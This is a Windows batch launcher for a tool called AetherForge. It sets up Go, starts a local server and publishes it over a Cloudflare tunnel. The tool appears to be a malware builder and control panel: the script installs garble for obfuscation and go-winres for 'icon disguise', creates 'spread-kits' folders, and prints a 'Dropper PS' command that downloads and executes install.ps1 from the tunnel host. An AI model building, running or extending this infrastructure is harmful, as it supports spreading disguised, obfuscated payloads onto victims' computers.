Files
AetherForge/usb/LAUNCH.bat
AetherForge 2f528229f2 Improve portable USB pack and credentials-based tunnel launcher.
Expand pack-usb.bat to sync LAUNCH.bat, cloudflare assets, and data dirs while preserving operator state; align usb/LAUNCH.bat with credentials.json tunnel flow instead of a baked token.
2026-05-31 02:32:24 -07:00

280 lines
10 KiB
Batchfile

@echo off
setlocal EnableExtensions EnableDelayedExpansion
title AetherForge Control Deck
cd /d "%~dp0"
set "ROOT=%CD%"
echo.
echo ================================================================
echo AetherForge - Portable Control Deck
echo ================================================================
echo.
:: ----------------------------------------------------------------
:: 1. Locate Go - prefer bundled toolchain, fall back to system Go
:: ----------------------------------------------------------------
set "BUNDLED_GO=%ROOT%\toolchain\go\bin\go.exe"
set "GO_BIN="
if exist "%BUNDLED_GO%" (
echo [Go] Using bundled toolchain: %ROOT%\toolchain\go
set "GO_BIN=%ROOT%\toolchain\go\bin\go.exe"
set "GOROOT=%ROOT%\toolchain\go"
set "PATH=%ROOT%\toolchain\go\bin;%ROOT%\toolchain\gopath\bin;%PATH%"
goto go_ready
)
:: Check if Go is installed system-wide
where go >nul 2>nul
if not errorlevel 1 (
echo [Go] Using system Go installation.
set "GO_BIN=go"
goto go_ready
)
:: Go not found - offer to download portable toolchain
echo [Go] Not found. Downloading portable Go toolchain...
echo This only happens once. The toolchain is saved to toolchain\go\
echo.
if /i "%PROCESSOR_ARCHITECTURE%"=="AMD64" (
set "GO_ARCH=amd64"
) else (
if /i "%PROCESSOR_ARCHITECTURE%"=="ARM64" (
set "GO_ARCH=arm64"
) else (
set "GO_ARCH=386"
)
)
set "GO_VERSION=1.22.4"
set "GO_ZIP=go%GO_VERSION%.windows-%GO_ARCH%.zip"
set "GO_URL=https://go.dev/dl/%GO_ZIP%"
set "GO_DEST=%ROOT%\toolchain\go_%GO_ARCH%.zip"
powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%GO_URL%' -OutFile '%GO_DEST%' }"
if errorlevel 1 (
echo.
echo ERROR: Could not download Go. Please either:
echo a) Install Go from https://go.dev/dl/ on this PC, then re-run LAUNCH.bat
echo b) Copy C:\Program Files\Go\ into toolchain\go\ from a PC that has Go
echo.
pause
exit /b 1
)
echo [Go] Extracting toolchain...
powershell -NoProfile -Command "Expand-Archive -Path '%GO_DEST%' -DestinationPath '%ROOT%\toolchain' -Force"
del "%GO_DEST%" 2>nul
if not exist "%BUNDLED_GO%" (
echo ERROR: Extraction failed.
pause
exit /b 1
)
set "GO_BIN=%ROOT%\toolchain\go\bin\go.exe"
set "GOROOT=%ROOT%\toolchain\go"
set "PATH=%ROOT%\toolchain\go\bin;%ROOT%\toolchain\gopath\bin;%PATH%"
echo [Go] Toolchain ready.
:go_ready
:: ----------------------------------------------------------------
:: 2. Pin all Go caches to the USB so module downloads travel with you
:: ----------------------------------------------------------------
set "GOPATH=%ROOT%\toolchain\gopath"
set "GOMODCACHE=%ROOT%\toolchain\gopath\pkg\mod"
set "GOCACHE=%ROOT%\toolchain\gocache"
set "GOENV=off"
:: ----------------------------------------------------------------
:: 3. Install optional Forge tools if missing (non-fatal)
:: ----------------------------------------------------------------
if /i "%AF_INSTALL_TOOLS%"=="1" (
if not exist "%ROOT%\toolchain\gopath\bin\garble.exe" (
echo [Tools] Installing garble - obfuscation support...
"%GO_BIN%" install mvdan.cc/garble@latest
if errorlevel 1 (
echo [Tools] WARNING: garble install failed - Forge obfuscation will be skipped.
) else (
echo [Tools] garble ready.
)
)
if not exist "%ROOT%\toolchain\gopath\bin\go-winres.exe" (
echo [Tools] Installing go-winres - Windows icon disguise...
"%GO_BIN%" install github.com/tc-hib/go-winres@v0.3.1
if errorlevel 1 (
echo [Tools] WARNING: go-winres install failed - Fusion icon patch will be skipped.
) else (
echo [Tools] go-winres ready.
)
)
) else (
echo [Tools] Skipping optional installs. Run: set AF_INSTALL_TOOLS=1 ^&^& LAUNCH.bat to install.
)
:: ----------------------------------------------------------------
:: 4. Ensure data directories exist
:: ----------------------------------------------------------------
if not exist "%ROOT%\data\builds" mkdir "%ROOT%\data\builds"
if not exist "%ROOT%\data\logs" mkdir "%ROOT%\data\logs"
if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits"
if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
if not exist "%ROOT%\data\cloudflare" mkdir "%ROOT%\data\cloudflare"
:: ----------------------------------------------------------------
:: 5. Cloudflare Tunnel — auto-install, configure, start
:: ----------------------------------------------------------------
set "CF_DIR=%ROOT%\cloudflare"
set "CF_CREDS_BUNDLE=%CF_DIR%\credentials.json"
set "CF_MSI=%CF_DIR%\cloudflared-windows-amd64.msi"
set "CF_HOSTNAME=killa.thetempleofdoom.com"
set "CF_DATA=%ROOT%\data\cloudflare"
set "SERVER_PORT=8989"
set "CF_BIN="
set "CF_TUNNEL_ID="
set "CF_READY=0"
:: Check credentials exist and are real (not the placeholder)
if not exist "%CF_CREDS_BUNDLE%" goto cf_no_creds
powershell -NoProfile -Command "exit ([string](Get-Content '%CF_CREDS_BUNDLE%') | ConvertFrom-Json | Select-Object -ExpandProperty TunnelID) -eq ''" >nul 2>nul
if errorlevel 1 goto cf_no_creds
:: Parse tunnel ID from credentials JSON
for /f "usebackq delims=" %%i in (`powershell -NoProfile -Command "(Get-Content '%CF_CREDS_BUNDLE%' | ConvertFrom-Json).TunnelID" 2^>nul`) do set "CF_TUNNEL_ID=%%i"
if "!CF_TUNNEL_ID!"=="" goto cf_no_creds
echo [CF] Tunnel ID: !CF_TUNNEL_ID!
:: Stage credentials into data\cloudflare\ (idempotent)
set "CF_CREDS_LOCAL=%CF_DATA%\!CF_TUNNEL_ID!.json"
if not exist "!CF_CREDS_LOCAL!" (
copy "%CF_CREDS_BUNDLE%" "!CF_CREDS_LOCAL!" >nul
echo [CF] Credentials staged to data\cloudflare\
)
:: Always regenerate config.yml with current absolute paths
:: (handles drive-letter changes when USB is moved)
set "CF_CONFIG=%CF_DATA%\config.yml"
powershell -NoProfile -Command "$cfg='%CF_DATA%\config.yml'; $creds='!CF_CREDS_LOCAL!'; $port='%SERVER_PORT%'; $host='%CF_HOSTNAME%'; $id='!CF_TUNNEL_ID!'; Set-Content -Path $cfg -Value @('tunnel: ' + $id, 'credentials-file: ' + $creds, '', 'ingress:', ' - hostname: ' + $host, ' service: http://127.0.0.1:' + $port, ' - service: http_status:404')" >nul 2>nul
echo [CF] Config written for !CF_HOSTNAME! -^> 127.0.0.1:%SERVER_PORT%
:: ---- Locate or install cloudflared ----
where cloudflared >nul 2>nul
if not errorlevel 1 (
set "CF_BIN=cloudflared"
goto cf_have_bin
)
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
goto cf_have_bin
)
if exist "%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe" (
set "CF_BIN=%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe"
goto cf_have_bin
)
:: Not found — install from bundled MSI
if exist "%CF_MSI%" (
echo [CF] cloudflared not found. Installing from bundled MSI...
msiexec /i "%CF_MSI%" /quiet /norestart /l*v "%CF_DATA%\cf-install.log"
echo [CF] MSI install launched - waiting...
ping -n 8 127.0.0.1 >nul
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
echo [CF] cloudflared installed successfully.
goto cf_have_bin
)
where cloudflared >nul 2>nul
if not errorlevel 1 (
set "CF_BIN=cloudflared"
echo [CF] cloudflared installed successfully.
goto cf_have_bin
)
echo [CF] WARNING: MSI completed but cloudflared not found in PATH.
echo [CF] Try re-running LAUNCH.bat after a reboot.
goto cf_done
) else (
echo [CF] WARNING: cloudflared not installed and no MSI bundled.
goto cf_done
)
:cf_have_bin
echo [CF] Binary: !CF_BIN!
:: Check if cloudflared tunnel already running (same process = skip)
tasklist 2>nul | findstr /I "cloudflared" >nul 2>nul
if not errorlevel 1 (
echo [CF] Tunnel already running on this machine.
echo [CF] https://!CF_HOSTNAME!
set "CF_READY=1"
goto cf_done
)
:: Start cloudflared tunnel in background
echo [CF] Starting Cloudflare tunnel...
start "" /B "!CF_BIN!" tunnel --config "!CF_CONFIG!" run
ping -n 5 127.0.0.1 >nul
echo [CF] Tunnel live: https://!CF_HOSTNAME!
set "CF_READY=1"
goto cf_done
:cf_no_creds
echo [CF] No valid credentials.json in cloudflare\
echo [CF] See cloudflare\SETUP.txt to configure your tunnel once.
echo [CF] Running in LAN-only mode this session.
:cf_done
:: ----------------------------------------------------------------
:: 6. Detect LAN IP for display
:: ----------------------------------------------------------------
set "LAN_IP=localhost"
:: ----------------------------------------------------------------
:: 7. Kill any stale server process
:: ----------------------------------------------------------------
taskkill /F /IM AetherForge.exe >nul 2>nul
ping -n 2 127.0.0.1 >nul
echo.
echo ================================================================
echo STARTING CONTROL DECK
echo ================================================================
echo Local: http://localhost:%SERVER_PORT%
echo LAN: http://%LAN_IP%:%SERVER_PORT%
if "!CF_READY!"=="1" (
echo Public: https://!CF_HOSTNAME!
echo Dropper PS: iex -irm 'https://!CF_HOSTNAME!/install.ps1'
)
echo Data: %ROOT%\data\
echo.
echo First run: admin password printed to console below.
echo Press Ctrl+C to stop.
echo ================================================================
echo.
:: Open browser after short delay
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
:: Launch server
"%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data"
set "EC=!ERRORLEVEL!"
echo.
if "!EC!"=="0" (
echo [Server] Stopped normally.
) else (
echo [Server] Exited with code !EC!.
echo If port %SERVER_PORT% is in use, close other AetherForge windows and retry.
)
:: On exit, also stop the cloudflared tunnel
taskkill /F /IM cloudflared.exe >nul 2>nul
echo.
pause
endlocal